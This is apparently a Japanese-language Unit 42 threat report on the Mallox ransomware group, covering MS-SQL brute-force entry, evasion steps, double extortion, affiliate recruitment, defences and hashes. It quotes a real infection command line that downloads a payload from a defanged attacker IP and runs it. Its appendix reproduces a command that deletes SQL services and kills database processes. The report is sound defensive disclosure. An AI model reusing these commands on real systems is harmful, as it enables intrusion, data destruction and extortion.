[![Logo](https://www.paloaltonetworks.com/wp-content/uploads/2021/07/PANW_Parent.png)](https://www.paloaltonetworks.jp/)  
[![Unit42 Logo](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/unit42-logo-white.svg)](https://unit42.paloaltonetworks.com/ja/)  
Menu

* [セキュリティ コンサルティング](https://www.paloaltonetworks.com/unit42)
* [**現在、攻撃を受けていますか?**](https://start.paloaltonetworks.com/contact-unit42.html)  
  Japanese
* [English](https://unit42.paloaltonetworks.com/mallox-ransomware/)
* [Japanese](https://unit42.paloaltonetworks.com/ja/mallox-ransomware/)
* [Threat Research Center](https://unit42.paloaltonetworks.com/ja/ "Threat Research")
* [主なサイバー脅威](https://unit42.paloaltonetworks.com/ja/category/top-cyberthreats-ja/ "主なサイバー脅威")
* [ランサムウェア](https://unit42.paloaltonetworks.com/ja/category/ransomware-ja/ "ランサムウェア")  
  [ランサムウェア](https://unit42.paloaltonetworks.com/ja/category/ransomware-ja/)

# 脅威グループの評価: Mallox ランサムウェア

![Clock Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-clock.svg) 5 分で読めます  
Related Products  
[![Advanced DNS Security icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/strata_RGB_logo_Icon_Color.png)Advanced DNS Security](https://unit42.paloaltonetworks.com/ja/product-category/advanced-dns-security-ja/ "Advanced DNS Security")[![Advanced URL Filtering icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/strata_RGB_logo_Icon_Color.png)Advanced URL Filtering](https://unit42.paloaltonetworks.com/ja/product-category/advanced-url-filtering-ja/ "Advanced URL Filtering")[![Advanced WildFire icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/strata_RGB_logo_Icon_Color.png)Advanced WildFire](https://unit42.paloaltonetworks.com/ja/product-category/advanced-wildfire-ja/ "Advanced WildFire")[![Cloud-Delivered Security Services icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/strata_RGB_logo_Icon_Color.png)Cloud-Delivered Security Services](https://unit42.paloaltonetworks.com/ja/product-category/cloud-delivered-security-services-ja/ "Cloud-Delivered Security Services")[![Cortex XDR icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/cortex_RGB_logo_Icon_Color.png)Cortex XDR](https://unit42.paloaltonetworks.com/ja/product-category/cortex-xdr-ja/ "Cortex XDR")[![Cortex XSIAM icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/cortex_RGB_logo_Icon_Color.png)Cortex XSIAM](https://unit42.paloaltonetworks.com/ja/product-category/cortex-xsiam-ja/ "Cortex XSIAM")[![Unit 42 Incident Response icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/unit42_RGB_logo_Icon_Color.png)Unit 42 Incident Response](https://unit42.paloaltonetworks.com/ja/product-category/unit-42-incident-response-ja/ "Unit 42 Incident Response")

* ![Profile Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-profile-grey.svg)  
  著者:
  
  * [Lior Rochberger](https://unit42.paloaltonetworks.com/ja/author/lior-rochberger/)
  * [Shimi Cohen](https://unit42.paloaltonetworks.com/ja/author/shimi-cohen/)

* ![Published Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-calendar-grey.svg)  
  公開日:2023年7月20日

* ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-category.svg)  
  カテゴリー
  
  * [ランサムウェア](https://unit42.paloaltonetworks.com/ja/category/ransomware-ja/)
  * [主なサイバー脅威](https://unit42.paloaltonetworks.com/ja/category/top-cyberthreats-ja/)
  * [脅威リサーチ](https://unit42.paloaltonetworks.com/ja/category/threat-research-ja/)

* ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-tags-grey.svg)  
  タグ:
  
  * [Double extortion](https://unit42.paloaltonetworks.com/ja/tag/double-extortion-ja/)
  * [Gurgling Scorpius](https://unit42.paloaltonetworks.com/ja/tag/gurgling-scorpius-ja/)
  * [Mallox ransomware](https://unit42.paloaltonetworks.com/ja/tag/mallox-ransomware-ja/)
  * [OWASSRF](https://unit42.paloaltonetworks.com/ja/tag/owassrf-ja/)
  * [ProxyLogon](https://unit42.paloaltonetworks.com/ja/tag/proxylogon-ja/)
  * [ProxyShell](https://unit42.paloaltonetworks.com/ja/tag/proxyshell-ja/)

* [![Download Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-download.svg)](https://unit42.paloaltonetworks.com/ja/mallox-ransomware/?pdf=download&lg=ja&_wpnonce=92524fc9d4 "Click here to download")

* [![Print Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-print.svg)](https://unit42.paloaltonetworks.com/ja/mallox-ransomware/?pdf=print&lg=ja&_wpnonce=92524fc9d4 "Click here to print")

共有![Down arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/down-arrow.svg)

* ![Link Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-share-link.svg)
* [![Link Email](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-sms.svg)](mailto:?subject=脅威グループの評価:%20Mallox%20ランサムウェア&body=Check%20out%20this%20article%20https%3A%2F%2Funit42.paloaltonetworks.com%2Fja%2Fmallox-ransomware%2F "Share in email")
* [![Facebook Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-fb-share.svg)](https://www.facebook.com/sharer/sharer.php?u=https%3A%2F%2Funit42.paloaltonetworks.com%2Fja%2Fmallox-ransomware%2F "Share in Facebook")
* [![LinkedIn Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-linkedin-share.svg)](https://www.linkedin.com/sharing/share-offsite/?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fja%2Fmallox-ransomware%2F&title=脅威グループの評価:%20Mallox%20ランサムウェア "Share in LinkedIn")
* [![Twitter Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-twitter-share.svg)](https://twitter.com/intent/tweet?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fja%2Fmallox-ransomware%2F&text=脅威グループの評価:%20Mallox%20ランサムウェア "Share in Twitter")
* [![Reddit Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-reddit-share.svg)](https://www.paloaltonetworks.com//www.reddit.com/submit?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fja%2Fmallox-ransomware%2F&ts=markdown "Share in Reddit")
* [![Mastodon Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-mastodon-share.svg)](https://mastodon.social/share?text=脅威グループの評価:%20Mallox%20ランサムウェア%20https%3A%2F%2Funit42.paloaltonetworks.com%2Fja%2Fmallox-ransomware%2F "Share in Mastodon")

## 概要

Mallox (別名 TargetCompany、FARGO、Tohnichi) は、Microsoft Windows システムを標的とするランサムウェア ファミリーです。このマルウェアは 2021 年 6 月から活動しており、安全でない MS-SQL サーバーを侵入ベクトルとして悪用し、被害者のネットワークを侵害することで知られます。

Unit 42 のリサーチャーは最近、MS-SQL サーバーを悪用してランサムウェアを配布する Mallox ランサムウェアのアクティビティ増加 (前年比でほぼ 174%) を観測しました。Unit 42 のインシデント対応者は、Mallox ランサムウェアがブルート フォース、データ漏出、ネットワーク スキャナーなどのツールを使っているようすを観測しています。さらにこのグループはオペレーションの拡大に乗り出しており、ハッキング フォーラムでアフィリエイトを募集しているというインジケーター (指標) も確認しています。

パロアルトネットワークスのお客様は、[Cortex XDR](https://docs-cortex.paloaltonetworks.com/p/XDR)の提供する Behavioral Threat Protection や Exploit Protection を含む多層防御を通じ、本稿で取り上げた Mallox ランサムウェアおよびその技術からの保護を受けています。

*Cortex が Mallox ランサムウェアの実行を阻止するようすを解説したビデオ*

クラウド配信型マルウェア解析サービス [Advanced WildFire](https://www.paloaltonetworks.jp/products/secure-the-network/wildfire) は Mallox に関連するサンプルを「悪意のあるもの (malicious)」として正確に識別します。[Advanced URL Filtering](https://www.paloaltonetworks.jp/network-security/advanced-url-filtering)、[DNS Security](https://www.paloaltonetworks.jp/network-security/dns-security)を含む[クラウド配信型セキュリティサービス](https://www.paloaltonetworks.jp/network-security/security-subscriptions)は、同グループに関連するドメインを「悪意のあるもの (malicious)」として識別します。

侵害の懸念があり弊社にインシデントレスポンスに関するご相談をなさりたい場合は、[こちらのフォーム](https://start.paloaltonetworks.jp/contact-unit42.html)からお問い合わせください (ご相談は弊社製品のお客様には限定されません)。

| **関連するUnit 42のトピック** | [**Ransomware**](https://unit42.paloaltonetworks.jp/category/ransomware-ja/) |
|----------------------|------------------------------------------------------------------------------|

## Mallox ランサムウェアの概要

Mallox ランサムウェアは、他の多くのランサムウェア脅威アクターと同様に、流行りの[二重恐喝](https://www.paloaltonetworks.com/cyberpedia/what-is-multi-extortion-ransomware)を行います。組織のファイルを暗号化する前にデータを盗み、「盗んだデータをリークサイトで公開する」と脅すことで、被害者に身代金を支払わせようとします。

下の図 1 は、Tor ブラウザー上の Mallox ランサムウェア Web サイトを示しています。組織の名前とロゴは伏せてありますが、このグループはこういうやりかたで標的から漏えいしたデータを表示します。
![画像 1 は、Tor ブラウザー上の Mallox ランサムウェア ギャング Web サイトのショットです。この Web サイトのタイトルは Mallox Data Leaks です。ここでは 6 つのサムネイル (モザイク処理済み) を表示しています。これらはランサムウェア ギャングが投稿した被害者です。](https://unit42.paloaltonetworks.com/wp-content/uploads/2023/07/word-image-129264-1.png) 図1. Tor ブラウザー上の Mallox Web サイト

各被害者には秘密鍵が与えられ、この秘密鍵を使って同グループとの対話や条件や支払いの交渉を行います。以下の図 2 は同グループとの通信に使われるチャットです。
![画像 2 は、Tor 上の Web サイト上の Mallox ランサムウェア ギャングのプライベート チャットのスクリーンショットです。チャット ウィンドウ、顧客情報ウィンドウ、支払いの詳細、オンライン スタッフのリストがあります。会話はサポートと名前をふせた誰かとの間で行われています。ファイルが送信され、Mallox のメンバーが価格について話し合うことができると言い、名前をふせた相手から価格が決まっているかどうかを尋ねる返信があります。ここで示されている会話はこれで終了しています。](https://unit42.paloaltonetworks.com/wp-content/uploads/2023/07/word-image-129264-2.png) 図2. Mallox のプライベートチャット用の Tor サイト

Mallox ランサムウェア グループは被害者が何百人もいると[主張](https://www.suspectfile.com/interview-with-mallox-ransomware-group/)しています。実際の被害者の数はわからないままですが、弊社のテレメトリーは、製造、専門サービスおよび法律サービス、卸売および小売を含む複数の業界をまたぎ、世界中で数十人の潜在的被害者がいることを示しています。

2023 年の初め以来、Mallox のアクティビティは安定的に増加しています。弊社のテレメトリーとオープン脅威情報源から収集したデータによると、2023 年には、2022 年後半と比較して Mallox の攻撃が約 174% 増加していました (図 3 参照)。
![画像 3 は、2023 年 1 月から 2023 年 6 月までの Mallox ランサムウェア攻撃試行の増加を示すグラフです。](https://unit42.paloaltonetworks.com/wp-content/uploads/2023/07/word-image-129264-3.png) 図3. パロアルトネットワークスのテレメトリーに基づく Mallox の攻撃試行数の推移 (2022 年後半 〜 2023 年前半)

## 初期アクセス

2021 年の出現以来、Mallox グループはずっと同じ方法で初期アクセスを取得しています。セキュリティで保護されていない MS-SQL サーバーを狙い、ネットワークに侵入するという方法です。攻撃は辞書のブルート フォース攻撃から始まり、MS-SQL サーバーに既知のパスワードやよく使われているパスワードのリストを試します。アクセス取得後は、コマンド ラインと PowerShell を使ってリモート サーバーから Mallox ランサムウェアのペイロードをダウンロードします (図 4 参照)。
![画像 4 は、Cortex XDR と Cortex XSIAM のアラートのスクリーンショットです。Alert Name (アラート名) は「Possible Brute-Force Attempt. (ブルート フォース攻撃の疑い)」で、Description (説明) には、「A user account attempted to authenticate to a target an excessive number of times in a short period. (あるユーザー アカウントが標的への認証を短期間に過剰に試みました。)This may indicate a brute force attack. (これはブルート フォース攻撃を示唆する可能性があります。)」と記載されています。](https://unit42.paloaltonetworks.com/wp-content/uploads/2023/07/word-image-129264-4.png) 図4. Cortex XDR / XSIAM が Mallox ランサムウェアによる辞書型ブルート フォース攻撃に反応して生成したアラートの例

Mallox ランサムウェアが感染に使うコマンド ラインの例は以下のようなものです。

"\\"C:\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe\\" /C echo $cl = New-Object System.Net.WebClient \> C:\\Users\\MSSQLS~1\\AppData\\Local\\Temp\\updt.ps1 \& echo $cl.DownloadFile(\\"hxxp://80.66.75\[.\]36/aRX.exe\\", \\"C:\\Users\\MSSQLS~1\\AppData\\Local\\Temp\\tzt.exe\\") \>\> %TEMP%\\\\updt.ps1 \& powershell -ExecutionPolicy Bypass C:\\Users\\MSSQLS~1\\AppData\\Local\\Temp\\updt.ps1 \& WMIC process call create \\"C:\\Users\\MSSQLS~1\\AppData\\Local\\Temp\\tzt.exe\\""

|---|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 | "\\"C:\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe\\" /C echo $cl = New-Object System.Net.WebClient \> C:\\Users\\MSSQLS~1\\AppData\\Local\\Temp\\updt.ps1 \& echo $cl.DownloadFile(\\"hxxp://80.66.75\[.\]36/aRX.exe\\", \\"C:\\Users\\MSSQLS~1\\AppData\\Local\\Temp\\tzt.exe\\") \>\> %TEMP%\\\\updt.ps1 \& powershell -ExecutionPolicy Bypass C:\\Users\\MSSQLS~1\\AppData\\Local\\Temp\\updt.ps1 \& WMIC process call create \\"C:\\Users\\MSSQLS~1\\AppData\\Local\\Temp\\tzt.exe\\"" |

このコマンドラインは次のことを行います。

* ランサムウェアのペイロードを hxxp://80.66.75\[.\]36/aRX.exe からダウンロードして tzt.exe として保存する
* updt.ps1 という名前の PowerShell スクリプトを実行する

その後このペイロードは次の処理を実行します (上記のコマンド ライン スクリプトには示されていません)。

* system.bat という名前の別のファイルをダウンロードし、これを tzt.bat として保存する
* この tzt.bat というファイルを使って SystemHelp というユーザーを作成し、リモート デスクトップ プロトコル (RDP) を有効にする
* Windows Management Instrumentation (WMI) を使ってランサムウェアのペイロード tzt.exe を実行する

以下の図 5 は、SQL サーバーをエクスプロイトする第 1 段階のステップの 1 つを前述の Cortex XDR / XSIAM がどのように検出したのかを示すものです。
![画像 5 は、Cortex XDR / XSIAM による SQL サーバーのエクスプロイト プロセス ツリーのスクリーンショットです。ここには「Uncommon user management via net.EXE. (net.EXE による通常と異なるユーザー管理)」というアラート名が表示されています。](https://unit42.paloaltonetworks.com/wp-content/uploads/2023/07/word-image-129264-5.png) 図5. Cortex XDR / XSIAM で SQL サーバーのエクスプロイト プロセス ツリーを表示したところ。ここでは検証のため「検出のみ」のモードに設定してある

## ランサムウェアの実行

このランサムウェアのペイロードは、暗号化の前に以下にあげる複数のアクションを試みることで、ランサムウェアが確実に実行されるようにします。

* sc.exe と net.exe を使って SQL 関連サービスの停止・削除を試みる (完全なコマンド ラインは[付録](#post-129319-_nug33n70cwpd)を参照)。これによりランサムウェアは被害者のファイル データへのアクセスと暗号化を行えるようになる
* ボリューム シャドウを削除しようとする。これによりファイルが暗号化されたあとの復元を困難にする。このアラートが Cortex XDR / XSIAM でどのように表示されるかについては、図 6 を参照のこと

![画像 6 は、Cortex XDR / XSIAM の Alert Name (アラート名) のスクリーンショットです。Alert Name は「Process request for deletion of windows, shadow copies. (ウィンドウ、シャドウ コピーの削除の処理要求)」で、Category (カテゴリー) は「Tampering (改ざん)」です。](https://unit42.paloaltonetworks.com/wp-content/uploads/2023/07/word-image-129264-6.png) 図6. Cortex XDR / XSIAM が生成したシャドウ コピーの削除に関するアラート

* Microsoft の [wevtutil](https://learn.microsoft.com/ja-jp/windows-server/administration/windows-commands/wevtutil) コマンド ライン ユーティリティを使い、アプリケーション ログ、セキュリティ ログ、セットアップ ログ、システム イベント ログを消去を試み、検出やフォレンジック分析処理を妨害する
* Windows 組み込みの [takeown.exe](https://learn.microsoft.com/ja-jp/windows-server/administration/windows-commands/takeown) コマンドを使ってファイルのアクセス許可を変更し、cmd.exeやそのほかの主要なシステム プロセスへのアクセスを拒否する
* システム管理者が bcdedit.exe コマンドを使ってシステム イメージ リカバリー機能を手動でロードできないようにする
* taskkill.exe を使ってセキュリティ関連のプロセスやサービスを終了をさせ、セキュリティ ソリューションを回避しようとする
* [Raccine](https://github.com/Neo23x0/Raccine) のランサムウェア対策製品が存在する場合はそのレジストリキーを削除することでこれを回避しようとする。このプロセスの例については、図 7 参照のこと

![画像 7 は、Raccine ランサムウェア対策製品をバイパスしようとするコードの数行のスクリーンショットです。](https://unit42.paloaltonetworks.com/wp-content/uploads/2023/07/word-image-129264-7.png) 図7. Raccin のレジストリ キーを削除している

前述のアクティビティの一部を図 8 のランサムウェアのプロセス ツリーに示します。
![画像 8 は、Cortex XDR / XSIAM における Mallox ランサムウェア攻撃の完全なプロセス ツリーのスクリーンショットです。ツリーは最終的に 5 つのブランチに分かれます。](https://unit42.paloaltonetworks.com/wp-content/uploads/2023/07/word-image-129264-8.png) 図8. Cortex XDR / XSIAM で攻撃の完全なプロセス ツリーを表示したところ。ここでは検証のため「検出のみ」のモードに設定してある

今回調査した Mallox ランサムウェアのサンプルは、ChaCha20 暗号化アルゴリズムでファイルを暗号化し、暗号化されたファイルの拡張子として .malox をアペンドします。被害者の名前を拡張子として使うほか、.FARGO3、.exploit、.avast、.bitenc、.xollam などのファイル拡張子も観測されています。Cortex XDR 上で暗号化されたファイルを表示したサンプルは図 9 を参照してください。
![画像 9 は、Cortex XDR の画面で、 2 つの列が表示されているスクリーンショットです。1 列目の名前は「ACTION\_TYPE (アクション タイプ)」です。2 列目の名前は「FILE\_NAME (ファイル名)」です。ここにあがっているファイルは、Mallox ランサムウェアによって暗号化されています。](https://unit42.paloaltonetworks.com/wp-content/uploads/2023/07/word-image-129264-9.png) 図9. Mallox ランサムウェアによって暗号化されたファイルの例。Cortex XDR (「検出のみ」モードに設定) が検出したもの

Mallox は、被害者のドライブ上のすべてのディレクトリーに身代金要求メモを残します。この身代金要求メモには感染の説明と連絡先情報が記載されています。図 10 は、これらの身代金要求メモの一例です。

![画像 10 は、Mallox ランサムウェアのメモの一例です。Hello, your files are encrypted and cannot be used. (こんにちは。ファイルは暗号化されているため使用できません。)To return your files in work condition you need decryption tool. (ファイルを正常な状態に戻すには、復号ツールが必要です。)Follow the instructions to decrypt all your data. (指示に従い、すべてのデータを復号してください。)Do not try to change or restore files yourself, this will break them. (ファイルが破損する可能性があるので自分でファイルを変更・復元しようとしないでください。)If you want, on our site, you can decrypt one file for free. (ご希望があれば、弊社サイトでファイルを 1 つ無料で復号できます。)Free test decryption allowed only for not valuable file with size less than 3MB. (無料のテスト復号に使えるのはサイズが 3MB 未満の価値のないファイルのみです。)How to get decryption tool: 1. (復号ツールの入手方法: 1.)Download and install Tor browser by this link \[Tor link\]. (このリンク \[Tor リンク\] から Tor ブラウザーをダウンロードしてインストールします。)2: If Tor blocked in your country and you can't access to the link use any VPN software. (2: お住まいの国で Tor がブロックされいてリンクにアクセスできない場合は VPN ソフトウェアを使ってください。)3. Run Tor browser and open the site. (Tor ブラウザーを実行し、サイトを開きます。)4. Copy your private ID in the input field. (入力フィールドにご自身のプライベート ID をコピーします。)Your private key (this portion is blurred). (あなたの秘密鍵は■■■です)。5. You will see payment information and we can make free test decryption here. (支払い情報が表示され、ここで無料のテスト復号を行えます。)Our blog of leaked companies \[this is an Onion link\]. 弊社のリーク サイト \[Onion リンク\] はこちら。If you are unable to contact us through the site, then you can email us: \[this is an email at onionmail\[.\]org.\] If you are unable to contact us through the site, waiting for a response via email can be several days. (サイト経由で連絡できない場合は、次の電子メールにご連絡ください: \[onionmail\[.\]org の電子メール\]。 サイト経由で連絡できない場合、電子メールでの応答には数日かかる場合があります。)Do not use it if you have not tried contacting through the site. (まずは必ずサイト経由での連絡を試してから電子メールを使ってください。)](https://unit42.paloaltonetworks.com/wp-content/uploads/2023/07/word-image-129264-10.png) 図10. Mallox の身代金要求メモのサンプル 実行後にマルウェアは自分自身を削除します。

## オペレーション拡大へ

[あるメンバーいわく](https://www.suspectfile.com/interview-with-mallox-ransomware-group/)、2023 年 1 月のインタビューでも述べられていたとおり、Mallox は比較的小規模で閉鎖的なグループのようです。ただしこのグループはアフィリエイトを募集し、オペレーションの拡大を図ろうとしています。

このインタビューの数日後、Mallx という名前のユーザーが、ハッキング フォーラムの RAMP に、「Mallox ランサムウェア グループは新しい Mallox ransomware-as-a-service (RaaS) アフィリエイト プログラムのアフィリエイトを募集している」と投稿しました (図 11)。
![画像 11 は、ユーザー Mallx によるハッキング フォーラム RAMP への投稿のスクリーンショットです。この投稿は、Malox ランサムウェア チームにペンテスターとして参加するよう不特定多数を招待しており、特徴や条件などの応募要件のほか、利益配分やアクティブでない参加者が何を期待すべきかなどを記載しています。最後に連絡先情報を記載してあります。](https://unit42.paloaltonetworks.com/wp-content/uploads/2023/07/word-image-129264-11.png) 図11 ユーザー Mallx による RAMP への投稿

遡って 2022 年 5 月には、RansomR という名前のユーザーが、有名ハッキング フォーラム nulled\[.\]to に「Mallox グループがチームに参加するアフィリエイトを探している」と投稿していました。スレッド内のコメントによると、2023 年 6 月時点でも参加オプションは有効のままです。
![画像 12 は、ハッキング フォーラム Nulled への RansomR による投稿のスクリーンショットです。これは 2022 年 3 月に投稿されたもので、ランサムウェア スタッフ募集と書かれています。RaaS - ランサムウェアはサービスとしてのランサムウェアのことです。「すでに被害者や企業ネットワークにアクセスできる人、そのような資料を入手する方法を知っている人」を求めています。次に、Jabber と TOX、および MALLOX の連絡先情報がすべて大文字で下部に表示されています。](https://unit42.paloaltonetworks.com/wp-content/uploads/2023/07/word-image-129264-12.png) 図12. RansomR による Nulled への投稿

アフィリエイト プログラムの求人活動がうまくいけば Mallox グループは勢力をのばし、より多くの組織を標的にする可能性があります。

## 結論

Mallox ランサムウェア グループはここ数か月活動を活発化させています。最近の求人活動で採用がうまくいけばさらに多くの組織に攻撃が広がりかねません。

各組織は[セキュリティ ベスト プラクティス](https://start.paloaltonetworks.com/2023-unit42-mitre-attack-recommendations)を実施し、[現行のランサムウェア脅威](https://start.paloaltonetworks.com/2023-unit42-ransomware-extortion-report)から自組織を守る準備をしてください。Mallox ランサムウェアだけでなく、日和見的なほかの犯罪グループに対しても、こうした対策をしておく必要があります。

Unit 42 チームは、インターネットに接続されているすべてのアプリケーションを適切に構成し、すべてのシステムにパッチを適用し、可能な限り最新状態であると確認することを推奨します。こうした対策をうまく使って攻撃対象領域を縮小すれば、攻撃者が利用できるエクスプロイト手法を制限できます。

XDR/EDR ソリューションを導入し、メモリー内のインスペクション (検査) を実施し、プロセス インジェクション技術を検出してください。脅威ハントを行って、「セキュリティ製品の防御回避」、「ラテラルムーブを行うサービス アカウント」、「ドメイン管理者に関連するユーザーの振る舞い」などで、異常な振る舞いの兆候が見られないか探してください。

## 保護と緩和策

パロアルトネットワークスの [Cortex XDR](https://docs-cortex.paloaltonetworks.com/p/XDR) は Mallox ランサムウェアが実行するファイル オペレーションやそのほかのアクティビティを検出・防止します。
![画像 13 は、悪意のあるアクティビティをブロックしている Cortex XDR の通知のスクリーンショットです。](https://unit42.paloaltonetworks.com/wp-content/uploads/2023/07/word-image-129264-13.png) 図13. Mallox の実行ブロックについてのエンドユーザーへの通知 ![画像 14 は、モジュールとファイルの変更の説明を示している Cortex XDR / XSIAM のアラートのスクリーンショットです。](https://unit42.paloaltonetworks.com/wp-content/uploads/2023/07/word-image-129264-14.png) 図14. Cortex XDR / XSIAM が生成した不審なファイル変更に関するアラート。ここでは検証のため「検出のみ」のモードに設定してある

[SmartScore](https://www.paloaltonetworks.com/blog/security-operations/beating-alert-fatigue-with-cortex-xdr-smartscore-technology/) は、セキュリティ調査手法とそれに紐づくデータをハイブリッド スコアリング システムに変換する、ユニークな ML ベース スコアリング エンジンです。このエンジンにより、Mallox ランサムウェアに関連するインシデントは、最高レベルの重大度「100」とスコアリングされました (図 15)。このタイプのスコアリングは、アナリストがどのインシデントがより緊急であるかを判断するのに役立ち、評価理由についてのコンテキストを提供し、優先順位付けを支援します。
![画像 15 は、SmartScore プログラムのスクリーンショットです。ここには、インシデント情報が評価とともにリストされ、インシデントがその重大度で評価された理由が示されます。](https://unit42.paloaltonetworks.com/wp-content/uploads/2023/07/word-image-129264-15.png) 図15. Mallox ランサムウェア インシデントに関する SmartScore の情報

パロアルトネットワークス製品をご利用のお客様は、弊社の製品・サービスにより Mallox ランサムウェアに対する以下の保護が提供されています。

* クラウドベースの脅威分析サービスである[WildFire](https://www.paloaltonetworks.jp/network-security/wildfire)は、既知のサンプルを悪意のあるものとして正確に特定します。
* [Advanced URL Filtering](https://www.paloaltonetworks.jp/network-security/advanced-url-filtering)と[DNS Security](https://www.paloaltonetworks.jp/network-security/dns-security)は、同グループに関連するドメインを悪意あるものとして識別します。
* [Cortex XDR](https://www.paloaltonetworks.jp/cortex/cortex-xdr)は、エンドポイント、ネットワーク ファイアウォール、Active Directory、IDおよびアクセス管理ソリューション、クラウド ワークロードを含む複数のデータ ソースからのユーザー アクティビティを分析することにより、ユーザーおよびクレデンシャル ベースの脅威を検出します。Cortex XDR は、機械学習を使ってユーザー アクティビティの行動プロファイルも構築します。Cortex XDRは、過去のアクティビティやピアー アクティビティ、期待される行動と新しいアクティビティとを比較することにより、クレデンシャル ベースの攻撃を示唆する異常なアクティビティを検出します。Cortex XDR は本稿で取り上げた攻撃に関連し、以下の保護も提供しています。
  * 既知の悪意のあるマルウェアの実行を防止するほか、ローカル分析モジュールにもとづく機械学習と[Behavioral Threat Protection](https://www.paloaltonetworks.jp/network-security/advanced-threat-prevention)によって未知のマルウェアの実行も防止します。
  * Cortex XDR 3.4 から利用可能になった新たな Credential Gathering Protection を使い、クレデンシャルを収集するツールや技術から保護します。
  * Cortex XDR バージョン3.4 以降の Anti-Webshell Protection を使い、脅威によるWebシェルからのコマンドのドロップや実行から保護します。
  * Anti-Exploitation モジュールと Behavioral Threat Protection を使い、ProxyShell、ProxyLogon、OWASSRF を含む、さまざまな脆弱性のエクスプロイトから保護します。
  * Cortex XDR Pro は、Cortex Analytics により、クレデンシャル ベース攻撃を含む、[エクスプロイト後のアクティビティ](https://docs.paloaltonetworks.com/cortex/cortex-xdr/cortex-xdr-analytics-alert-reference/cortex-xdr-analytics-alert-reference/analytics-alerts-by-required-data-source)を検出します。

侵害の懸念があり弊社にインシデントレスポンスに関するご相談をなさりたい場合は、[こちらのフォーム](https://start.paloaltonetworks.jp/contact-unit42.html)からご連絡いただくか、infojapan@paloaltonetworks.comまでメールにてご連絡いただくか、下記の電話番号までお問い合わせください(ご相談は弊社製品のお客様には限定されません)。

* 北米フリーダイヤル: 866.486.4842 (866.4.UNIT42)
* 欧州: +31.20.299.3130
* アジア太平洋: +65.6983.8730
* 日本: +81.50.1790.0200

パロアルトネットワークスはファイル サンプルや侵害の兆候などをふくむこれらの調査結果をCyber Threat Alliance (CTA) のメンバーと共有しました。CTA のメンバーはこのインテリジェンスを使って、お客様に保護を迅速に提供し、悪意のあるサイバー攻撃者を体系的に阻害できます。詳細については[Cyber Threat Alliance](https://www.cyberthreatalliance.org)にてご確認ください｡

## 付録

### Mallox が SQL 関連サービスの停止・削除に使うコマンド ライン

"C:\\Windows\\System32\\cmd.exe" / C sc delete "MSSQLFDLauncher" \&\& sc delete "MSSQLSERVER" \&\& sc delete "SQLSERVERAGENT" \&\& sc delete "SQLBrowser" \&\& sc delete "SQLTELEMETRY" \&\& sc delete "MsDtsServer130" \&\& sc delete "SSISTELEMETRY130" \&\& sc delete "SQLWriter" \&\& sc delete "MSSQL$VEEAMSQL2012" \&\& sc delete "SQLAgent$VEEAMSQL2012" \&\& sc delete "MSSQL" \&\& sc delete "SQLAgent" \&\& sc delete "MSSQLServerADHelper100" \&\& sc delete "MSSQLServerOLAPService" \&\& sc delete "MsDtsServer100" \&\& sc delete "ReportServer" \&\& sc delete "SQLTELEMETRY$HL" \&\& sc delete "TMBMServer" \&\& sc delete "MSSQL$PROGID" \&\& sc delete "MSSQL$WOLTERSKLUWER" \&\& sc delete "SQLAgent$PROGID" \&\& sc delete "SQLAgent$WOLTERSKLUWER" \&\& sc delete "MSSQLFDLauncher$OPTIMA" \&\& sc delete "MSSQL$OPTIMA" \&\& sc delete "SQLAgent$OPTIMA" \&\& sc delete "ReportServer$OPTIMA" \&\& sc delete "msftesql$SQLEXPRESS" \&\& sc delete "postgresql-x64-9.4" \&\& rem Kill "SQL" \&\& taskkill - f - im sqlbrowser.exe \&\& taskkill - f - im sqlwriter.exe \&\& taskkill - f - im sqlservr.exe \&\& taskkill - f - im msmdsrv.exe \&\& taskkill - f - im MsDtsSrvr.exe \&\& taskkill - f - im sqlceip.exe \&\& taskkill - f - im fdlauncher.exe \&\& taskkill - f - im Ssms.exe \&\& taskkill - f - im SQLAGENT.EXE \&\& taskkill - f - im fdhost.exe \&\& taskkill - f - im fdlauncher.exe \&\& taskkill - f - im sqlservr.exe \&\& taskkill - f - im ReportingServicesService.exe \&\& taskkill - f - im msftesql.exe \&\& taskkill - f - im pg\_ctl.exe \&\& taskkill - f - im postgres.exe

## IoC (侵害指標)

### Mallox ランサムウェア サンプルの SHA256 ハッシュ:

* 6c743c890151d0719150246382b5e0158e8abc4a29dd4b2f049ce7d313b1a330
* b03f94c61528c9f3731a2e8da4975c072c9ed4e5372d3ec6b0939eebe01e54a4
